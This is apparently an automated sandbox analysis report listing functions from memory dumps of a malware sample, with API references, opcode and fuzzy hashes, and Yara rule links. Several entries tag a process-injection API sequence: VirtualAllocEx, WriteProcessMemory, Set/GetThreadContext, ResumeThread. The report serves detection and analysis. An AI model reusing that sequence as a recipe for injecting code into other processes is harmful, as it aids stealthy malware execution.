Function 01416E80 Relevance: 2.7, Strings: 2, Instructions: 231COMMON

Download Yara Rule

Strings

,q, xrefs: 01416F60
,q, xrefs: 01416F56

Memory Dump Source

Source File: 00000000.00000002.2033459714.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_cv.jbxd

Similarity

API ID:
String ID: ,q$,q
API String ID: 0-1667412543
Opcode ID: 961d94d32dcb716358b3807eadd9db0e1437dae2b6e10dde115b84487ac7882d
Instruction ID: 62a8a6c93cb44961e1958b0c54fff764d0dcc86ef7d7303f0bf0213b302dd12c
Opcode Fuzzy Hash: 961d94d32dcb716358b3807eadd9db0e1437dae2b6e10dde115b84487ac7882d
Instruction Fuzzy Hash: BC91B278A00205CFDB14CF6DC894A6ABFB6FF89215B1580AAD505D7379D731EC41CBA1

Function 0832C8F8 Relevance: 2.7, Strings: 2, Instructions: 169COMMON

Download Yara Rule

Strings

(q, xrefs: 0832E1C2
Hq, xrefs: 0832E2E0

Memory Dump Source

Source File: 00000000.00000002.2078247338.0000000008320000.00000040.00000800.00020000.00000000.sdmp, Offset: 08320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8320000_cv.jbxd

Similarity

API ID:
String ID: (q$Hq
API String ID: 0-1154169777
Opcode ID: 4d44fcff94c98912ed055746e98512d964a6718a2b22b6c3621abfe480c45b1c
Instruction ID: 65cae870651ee803a62ae9f2399c9790b91ea224e3660f0a099e1de25e003062
Opcode Fuzzy Hash: 4d44fcff94c98912ed055746e98512d964a6718a2b22b6c3621abfe480c45b1c
Instruction Fuzzy Hash: 29510731704360DFC719EB28C0557AD7BA5FFC6311B1984AED44A9B792CB35AC42C7A1

Function 014194D8 Relevance: 2.6, Strings: 2, Instructions: 100COMMON

Download Yara Rule

Strings

$q, xrefs: 014195B7
$q, xrefs: 01419594

Memory Dump Source

Source File: 00000000.00000002.2033459714.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_cv.jbxd

Similarity

API ID:
String ID: $q$$q
API String ID: 0-3126353813
Opcode ID: 34bb7e988c530b127afc448675552b90d2d74653ba74a1db88d75471e6ac3f6c
Instruction ID: 7fa28f7ca3a25db802cfe77e83c77811408da99a8fda72a9c794813201e8fb19
Opcode Fuzzy Hash: 34bb7e988c530b127afc448675552b90d2d74653ba74a1db88d75471e6ac3f6c
Instruction Fuzzy Hash: 7531FB317052154FDB268B39C87073E7BA5FF85304B194867D042DB3AADE34CC418761

Function 0141BC27 Relevance: 2.5, Strings: 2, Instructions: 45COMMON

Download Yara Rule

Strings

4'q, xrefs: 0141BC54
4'q, xrefs: 0141BC3D

Memory Dump Source

Source File: 00000000.00000002.2033459714.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_cv.jbxd

Similarity

API ID:
String ID: 4'q$4'q
API String ID: 0-1467158625
Opcode ID: 650fc94d53b6a7b4a9e32f80f378b835b659fc521d83ca9a29de702590d0a8a6
Instruction ID: 127d708b616f7b86010188be57e34cbfb90563b1c46307e9d79cc00179483127
Opcode Fuzzy Hash: 650fc94d53b6a7b4a9e32f80f378b835b659fc521d83ca9a29de702590d0a8a6
Instruction Fuzzy Hash: E2F0A4313002146FEB1916BA9860ABF6BEBEFDC261B14843DB949C7364DD71CC118760

Function 06894B36 Relevance: 1.7, APIs: 1, Instructions: 168processCOMMON

Download Yara Rule

APIs

CreateProcessAsUserW.KERNEL32(?,?,?,0000000A,?,?,?,?,?,?,?), ref: 06894CAB

Memory Dump Source

Source File: 00000000.00000002.2060104171.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6890000_cv.jbxd

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: 3c1057353c7c92658a5be68797618c6d3670721ec851b10f4b619074b0305810
Instruction ID: 65f87267203f492fe1c1db81091883537205f9a3c3daef74e26e43ac48a32e49
Opcode Fuzzy Hash: 3c1057353c7c92658a5be68797618c6d3670721ec851b10f4b619074b0305810
Instruction Fuzzy Hash: F1510671D002699FDF64CF99C940BDDBBB5BF48304F0484AAE918B7250DB75AA89CF60

Function 0681423B Relevance: 1.6, APIs: 1, Instructions: 127memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 0681438B

Memory Dump Source

Source File: 00000000.00000002.2059944935.0000000006810000.00000040.00000800.00020000.00000000.sdmp, Offset: 06810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6810000_cv.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 079e077cb5a66b14a9b1b656f8ab14d822c24dc92ce109f66f126660ff3c05ca
Instruction ID: a933ee9f37a1ee761077b9aa022594710cc8a2035abc8a30de69f277cfa43908
Opcode Fuzzy Hash: 079e077cb5a66b14a9b1b656f8ab14d822c24dc92ce109f66f126660ff3c05ca
Instruction Fuzzy Hash: 2E51D1718043868FC7A1CFA9C840ADEBBF8AF59324F20495DD6C5DB201E3398999CF61

Function 0500C570 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0500C682

Memory Dump Source

Source File: 00000000.00000002.2057186100.0000000005000000.00000040.00000800.00020000.00000000.sdmp, Offset: 05000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5000000_cv.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 4cc914b8527817979118d265fdba0891bab74dd619e576bb0c33f99825e5342d
Instruction ID: 9cf5ad1ba5477e058d6a1dfffb7e77db4016ea4152c5d67e214759b09878ae32
Opcode Fuzzy Hash: 4cc914b8527817979118d265fdba0891bab74dd619e576bb0c33f99825e5342d
Instruction Fuzzy Hash: A441C3B5D003499FEB14CF99D984ADEFBB5FF48310F24922AE819AB250D771A845CF90

Function 0500C56B Relevance: 1.6, APIs: 1, Instructions: 112COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0500C682

Memory Dump Source

Source File: 00000000.00000002.2057186100.0000000005000000.00000040.00000800.00020000.00000000.sdmp, Offset: 05000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5000000_cv.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: bcb5bfc342913ebff5a452a710c93e8b07186be0562b3ffdb83b986526a6c8ef
Instruction ID: d32a677bc29745f10556c5645b670a46a6235d4e45e7576acd6f03a26bd13188
Opcode Fuzzy Hash: bcb5bfc342913ebff5a452a710c93e8b07186be0562b3ffdb83b986526a6c8ef
Instruction Fuzzy Hash: C051D2B5D003499FEB14CFA9D984ADEFBB1BF48300F24922AE819AB250D7709845CF90

Function 0500A3C4 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 0500ED81

Memory Dump Source

Source File: 00000000.00000002.2057186100.0000000005000000.00000040.00000800.00020000.00000000.sdmp, Offset: 05000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5000000_cv.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: eb2efa8eae1a5a0b8a6270e868da5a5192e142be29e5a4ef3578e733fda3565c
Instruction ID: 62733cf771ed18a76e166dd0480c99082b64e6ca55c3c39793a4d548d93ad7f5
Opcode Fuzzy Hash: eb2efa8eae1a5a0b8a6270e868da5a5192e142be29e5a4ef3578e733fda3565c
Instruction Fuzzy Hash: 944128B5A007058FDB14CF99D488AAEFBF5FB88314F24C859D519AB361D770A845CFA0

Function 06897168 Relevance: 1.6, APIs: 1, Instructions: 72injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 06897200

Memory Dump Source

Source File: 00000000.00000002.2060104171.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6890000_cv.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 8e8a585e20ac1b2cfb196b45dcf582b4846f4b32189a5ce559395fa6fafc3c86
Instruction ID: 5023e66307fbe07a0945ca09c1ad5125e86b4fb38cb44eb012e307bbe8b405a3
Opcode Fuzzy Hash: 8e8a585e20ac1b2cfb196b45dcf582b4846f4b32189a5ce559395fa6fafc3c86
Instruction Fuzzy Hash: C62146B5D103499FDB10CFAAC881BDEBBF5FF48310F14842AE919A7240C7789945CBA0

Function 06897170 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 06897200

Memory Dump Source

Source File: 00000000.00000002.2060104171.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6890000_cv.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 872e34194cd172c650fd6ee6c0e2fc65a42ab02e0094f5de432c2fdc7a8787a9
Instruction ID: 4ae036dd987db471e7c5f127ed772450f523067d7746ac76043ed3331d23528e
Opcode Fuzzy Hash: 872e34194cd172c650fd6ee6c0e2fc65a42ab02e0094f5de432c2fdc7a8787a9
Instruction Fuzzy Hash: 672126B5D103499FDB10CFAAC881BDEBBF5FF48310F14842AE919A7240C7789944CBA4

Function 06896738 Relevance: 1.6, APIs: 1, Instructions: 66threadCOMMON

Download Yara Rule

APIs

Wow64GetThreadContext.KERNEL32(?,00000000), ref: 068967BE

Memory Dump Source

Source File: 00000000.00000002.2060104171.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6890000_cv.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: ca5b30e84ccaf867cc9270a8c4e3fdd05efdc6bab1473a43b9300358014b2761
Instruction ID: 1f1780d411c3c9d968f46d7aff0356034fbce373cfa4e23f812a579c791c1504
Opcode Fuzzy Hash: ca5b30e84ccaf867cc9270a8c4e3fdd05efdc6bab1473a43b9300358014b2761
Instruction Fuzzy Hash: CF215975D003099FDB10CFAAC8847EEFBF5EF48320F148429D559A7241DB78A985CBA0

Function 06897660 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

VirtualProtectEx.KERNEL32(?,?,?,?,?), ref: 068976DF

Memory Dump Source

Source File: 00000000.00000002.2060104171.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6890000_cv.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d1d59befd994298342a3e3826a2ebcf10d1db0479e31691e81d0c85a452b8192
Instruction ID: d3c7839da30e56a2a43a724d1182dd6adfd49ba5c010caff146fb692d4d7e952
Opcode Fuzzy Hash: d1d59befd994298342a3e3826a2ebcf10d1db0479e31691e81d0c85a452b8192
Instruction Fuzzy Hash: 54215771C003099FDB10CFAAC841BEEFBF5EF48320F148429E919A7250CB79A945CBA1

Function 08273CA0 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

MonitorFromPoint.USER32(?,?,00000002), ref: 08273D1F

Memory Dump Source

Source File: 00000000.00000002.2077808834.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_cv.jbxd

Similarity

API ID: FromMonitorPoint
String ID:
API String ID: 1566494148-0
Opcode ID: cf25afaad7c8b05e299de20713df7e331f9fcceb90ab3855c0b9e052158b3173
Instruction ID: da4c9dff124fbbc46011d224ac7e81828f780ff4f4f32304a0fd698cff7147f6
Opcode Fuzzy Hash: cf25afaad7c8b05e299de20713df7e331f9fcceb90ab3855c0b9e052158b3173
Instruction Fuzzy Hash: 9C219AB5A042099FCB10DF9AD448BEEBBF5FB48320F54802AE955AB344C774A944CFA1

Function 068978C9 Relevance: 1.6, APIs: 1, Instructions: 64threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0689794E

Memory Dump Source

Source File: 00000000.00000002.2060104171.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6890000_cv.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 8dd99f6c717fdd305a9e0d32fd9bf08ab7da8a021f879ae5bcc6370b4f9f5199
Instruction ID: 182f1f56a65e88372f3cbf1d7dcc970aaff0fbbef64c2271f2e0e164eefd865c
Opcode Fuzzy Hash: 8dd99f6c717fdd305a9e0d32fd9bf08ab7da8a021f879ae5bcc6370b4f9f5199
Instruction Fuzzy Hash: 5A213775D003498FDB50DFAAC4847EEBBF1EF88314F18842AD959A7240DB789945CBA0

Function 06896740 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64GetThreadContext.KERNEL32(?,00000000), ref: 068967BE

Memory Dump Source

Source File: 00000000.00000002.2060104171.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6890000_cv.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: cf429dbb53c6fcf5309b61f0f46d8400a7fa8e1032075472ee0540cb539e9729
Instruction ID: 558d3579e0ac96465af907c06e0f72b54b9359befd7be5a766f6e2319ad1ac63
Opcode Fuzzy Hash: cf429dbb53c6fcf5309b61f0f46d8400a7fa8e1032075472ee0540cb539e9729
Instruction Fuzzy Hash: 86215B75D003099FDB10CFAAC4847EEBBF5EF48320F148429D519A7240DB78A985CFA0

Function 068978D0 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0689794E

Memory Dump Source

Source File: 00000000.00000002.2060104171.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6890000_cv.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 7b192ed91b5aeac98b8540bd065c47f56c475bfbae99cea85cbe45eb621d3ead
Instruction ID: 9b500f924a7947d0fdb1d3b53a78cd9f7ba378eca9e01fc74a988f48866400d6
Opcode Fuzzy Hash: 7b192ed91b5aeac98b8540bd065c47f56c475bfbae99cea85cbe45eb621d3ead
Instruction Fuzzy Hash: AC214771D003098FDB10DFAAC4847EEBBF4EF88324F14842AD959A7240DB78A945CFA0

Function 05008548 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 050085D7

Memory Dump Source

Source File: 00000000.00000002.2057186100.0000000005000000.00000040.00000800.00020000.00000000.sdmp, Offset: 05000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5000000_cv.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: b42b24c00cea091115b06fdf2a80a7542c427688fcddf118e89af6a44a3f928e
Instruction ID: 5ef72d6b6415cd352a54df651050323deb9127696e3d08373d4d5dc9a9ebb85f
Opcode Fuzzy Hash: b42b24c00cea091115b06fdf2a80a7542c427688fcddf118e89af6a44a3f928e
Instruction Fuzzy Hash: 7E21E2B5D003489FDB10CFAAD984BEEBBF5FB48310F14841AE958A3250D378AA54CF64

Function 05008550 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 050085D7

Memory Dump Source

Source File: 00000000.00000002.2057186100.0000000005000000.00000040.00000800.00020000.00000000.sdmp, Offset: 05000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5000000_cv.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 1505fdd195df88a2dc99638c42b061b2eb067369cc9ca12af22c3a5b858688c7
Instruction ID: 150a7bda7d8c48f43d002d98855dd5f5ada4ea0666a652dfe4e0b653ec56755e
Opcode Fuzzy Hash: 1505fdd195df88a2dc99638c42b061b2eb067369cc9ca12af22c3a5b858688c7
Instruction Fuzzy Hash: E421C2B5D003499FDB10CFAAD984ADEBBF5FB48310F14841AE918A7350D375A944CFA5

Function 06897668 Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

VirtualProtectEx.KERNEL32(?,?,?,?,?), ref: 068976DF

Memory Dump Source

Source File: 00000000.00000002.2060104171.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6890000_cv.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: dd6ff16d456e2256ebd47d6287acba4f8b689e699b7d80eb520fb5a48fe923a4
Instruction ID: 23bd0f3c02c947dbbf141acb9b40d80eec04fcdaa8a4653255354ac3fc4ec92a
Opcode Fuzzy Hash: dd6ff16d456e2256ebd47d6287acba4f8b689e699b7d80eb520fb5a48fe923a4
Instruction Fuzzy Hash: 80213571C003098FDB10CFAAC880BEEBBF5EF48320F148429D919A7240CB79A945CFA0

Function 08273C92 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

MonitorFromPoint.USER32(?,?,00000002), ref: 08273D1F

Memory Dump Source

Source File: 00000000.00000002.2077808834.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_cv.jbxd

Similarity

API ID: FromMonitorPoint
String ID:
API String ID: 1566494148-0
Opcode ID: d53dce9cd82a1efcb8e3c79cc77c5384b8e6829d1c7c30c074e36dbee3fdf681
Instruction ID: 9e1c53429a0ba4222b9477e18a65f467636f30158a49aecfac5c7a01db49ef9b
Opcode Fuzzy Hash: d53dce9cd82a1efcb8e3c79cc77c5384b8e6829d1c7c30c074e36dbee3fdf681
Instruction Fuzzy Hash: 2F2189B59043998FCB11DF99D448BEEBFB0FB09310F14805AD855AB345C338A944CFA1

Function 06896E08 Relevance: 1.6, APIs: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06896E7E

Memory Dump Source

Source File: 00000000.00000002.2060104171.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6890000_cv.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7fc7fab68dc7498d6a82abd7200476c96e6decde263034f622ec1a8f09b275d6
Instruction ID: e39040cf323965af966e69d2272f87b144627a4818cd6802d04c93ca43ed1d70
Opcode Fuzzy Hash: 7fc7fab68dc7498d6a82abd7200476c96e6decde263034f622ec1a8f09b275d6
Instruction Fuzzy Hash: 1D213671D00348DFDB21CFAAC844BDEBBF5EF48320F288419E919A7210CB75A954CBA0

Function 06814318 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 0681438B

Memory Dump Source

Source File: 00000000.00000002.2059944935.0000000006810000.00000040.00000800.00020000.00000000.sdmp, Offset: 06810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6810000_cv.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 2b087e9fd2760b31080a029fb5205ea2b17eba3da917978f55790d8aba146016
Instruction ID: bfd07f9cab0dbb5d2e42d488d412a611be1fbfae2fd76c9c8a226f449419b567
Opcode Fuzzy Hash: 2b087e9fd2760b31080a029fb5205ea2b17eba3da917978f55790d8aba146016
Instruction Fuzzy Hash: A621D3B5D002499FDB10CF9AC884BDEFBF8EB48320F148429E958A7251D378A545CFA5

Function 0681CB40 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 0681CBB3

Memory Dump Source

Source File: 00000000.00000002.2059944935.0000000006810000.00000040.00000800.00020000.00000000.sdmp, Offset: 06810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6810000_cv.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 6f41bc7ea76ef0ad683881b6eef7bc7b3f437d65e70a0e9fce3315e797609caa
Instruction ID: 414153ad6eea0b6135ea9da0a84aa531cb51f0ecc2303b3daab609782b238fe5
Opcode Fuzzy Hash: 6f41bc7ea76ef0ad683881b6eef7bc7b3f437d65e70a0e9fce3315e797609caa
Instruction Fuzzy Hash: C321D3B6D002499FDB10CF9AC884BDEFBF4EB48320F14842AE958A7251D778A544CFA5

Function 06896E10 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06896E7E

Memory Dump Source

Source File: 00000000.00000002.2060104171.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6890000_cv.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b002f2efcb27921bcd23941f3fa95d06f0f9232f3815c79a42cc28edb050168f
Instruction ID: 90fdf85a83e62676212c0207a61f996b1fce6d7bf7e2a0b7de3add74ba906d13
Opcode Fuzzy Hash: b002f2efcb27921bcd23941f3fa95d06f0f9232f3815c79a42cc28edb050168f
Instruction Fuzzy Hash: 8C112676D003499FDB20DFAAC844BDEBBF5EF88320F248419E919A7250C775A944CBA0

Function 06897F59 Relevance: 1.6, APIs: 1, Instructions: 52threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 06897FC2

Memory Dump Source

Source File: 00000000.00000002.2060104171.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6890000_cv.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: f9aa8f50eb1c23d40d5db864c3f61aa917d77216abe7bf3ee71e5ccc9a527036
Instruction ID: 2a41f2cade801fce721858dfe4df14656fd95e2d6e02b211f73329ef6ee5e113
Opcode Fuzzy Hash: f9aa8f50eb1c23d40d5db864c3f61aa917d77216abe7bf3ee71e5ccc9a527036
Instruction Fuzzy Hash: 69116AB1D043488FDB24DFAAC8447EEFBF5EF88324F288419D519A7640CB75A945CBA4

Function 06897F60 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 06897FC2

Memory Dump Source

Source File: 00000000.00000002.2060104171.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6890000_cv.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 749192e97fe350ce6a13cacb065ef513025cf9588d756baeb08b02e9821e33d4
Instruction ID: d383beb6d98fc6636361ad7069291602c57bb72d8708e77bc12ee5f04ad46896
Opcode Fuzzy Hash: 749192e97fe350ce6a13cacb065ef513025cf9588d756baeb08b02e9821e33d4
Instruction Fuzzy Hash: FE114CB1D043488FDB24DFAAC8447EEFBF5EF88324F248419D519A7640CB75A945CBA4

Function 05005E78 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 05005EDE

Memory Dump Source

Source File: 00000000.00000002.2057186100.0000000005000000.00000040.00000800.00020000.00000000.sdmp, Offset: 05000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5000000_cv.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: eb1affb3a1a9780b7d44ed10b70395daed260f93105b62352dcb1f6528fbd88e
Instruction ID: e9ff7860a576765c187d2d25771bd8462b7fa6c6b205e5a2f53a62f77fdeaf06
Opcode Fuzzy Hash: eb1affb3a1a9780b7d44ed10b70395daed260f93105b62352dcb1f6528fbd88e
Instruction Fuzzy Hash: E11110B6C043498FDB24CF9AD844BDEFBF5EB88210F14842AD869A7240C375A545CFA1

Function 06899C30 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 06899C95

Memory Dump Source

Source File: 00000000.00000002.2060104171.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6890000_cv.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 205b7db90b1d535cec782fb786652b1c44c45cc6eaa0362c2c441df11ee6836c
Instruction ID: 396b3707e5165d98d3751908ef62d9e626ba8271bd7e318f8bd6f871e834e758
Opcode Fuzzy Hash: 205b7db90b1d535cec782fb786652b1c44c45cc6eaa0362c2c441df11ee6836c
Instruction Fuzzy Hash: B311F5B5C003499FDB10CF9AC945BDEBBF8EB48324F188419D918A7200D375A544CFA5

Function 068979F8 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 06899C95

Memory Dump Source

Source File: 00000000.00000002.2060104171.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6890000_cv.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: d62e9105956aa443aa7e46c320366e7ed493ec6404f8ebd0b72c25d129ae2f1c
Instruction ID: 8202bb9b4bdce1c2f53004076dc8413a3ef8fd31d382f68e2db71d6bc468c37b
Opcode Fuzzy Hash: d62e9105956aa443aa7e46c320366e7ed493ec6404f8ebd0b72c25d129ae2f1c
Instruction Fuzzy Hash: EB1106B5804349DFDB10CF9AD945BDEBBF8EB48324F148419E918A7300C375A944CFA5

Function 05005E77 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 05005EDE

Memory Dump Source

Source File: 00000000.00000002.2057186100.0000000005000000.00000040.00000800.00020000.00000000.sdmp, Offset: 05000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5000000_cv.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 44d508a80a01898b53b445632643a1610e5b32374b9aa76b27aaedecc2cade5f
Instruction ID: 8cdf8eac17a5c953d3e94a9b67529bafa5615a29d63944cfb31c38c66316f603
Opcode Fuzzy Hash: 44d508a80a01898b53b445632643a1610e5b32374b9aa76b27aaedecc2cade5f
Instruction Fuzzy Hash: 2E1110B6C003498FDB24CF9AD944BDEFBF5AF48210F14842AC869A7640C375A545CFA0

Function 08328384 Relevance: 1.5, Strings: 1, Instructions: 228COMMON

Download Yara Rule

Strings

(q, xrefs: 08329F05

Memory Dump Source

Source File: 00000000.00000002.2078247338.0000000008320000.00000040.00000800.00020000.00000000.sdmp, Offset: 08320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8320000_cv.jbxd

Similarity

API ID:
String ID: (q
API String ID: 0-2414175341
Opcode ID: 4ef7d4437241ed2d19e19f3d2de8064b3b8a69943d2a58702a66f4384f6c11cf
Instruction ID: 3f3a75469ade92ff097dee034fe8df02d8b95c5c7e05f54c64057fa4ebda9acc
Opcode Fuzzy Hash: 4ef7d4437241ed2d19e19f3d2de8064b3b8a69943d2a58702a66f4384f6c11cf
Instruction Fuzzy Hash: AE910375E00219DFCF10CFA9D884ADEBBF5FF88310F24852AE919A7254D731A965CB90

Function 0141F048 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

Xq, xrefs: 0141F05F

Memory Dump Source

Source File: 00000000.00000002.2033459714.0000000001410000.00000040.00000800.00020000.00000000.sdmp, Offset: 01410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1410000_cv.jbxd

Similarity

API ID:
String ID: Xq
API String ID: 0-599127549
Opcode ID: cc68f8b8291dba11bcd3b88b22eb9cebce278f9d855d1621e33dcee71e86b736
Instruction ID: 5a758004f48ff822b5b5abeefd631351afbb3c2f961be22c8a50f746828d9793
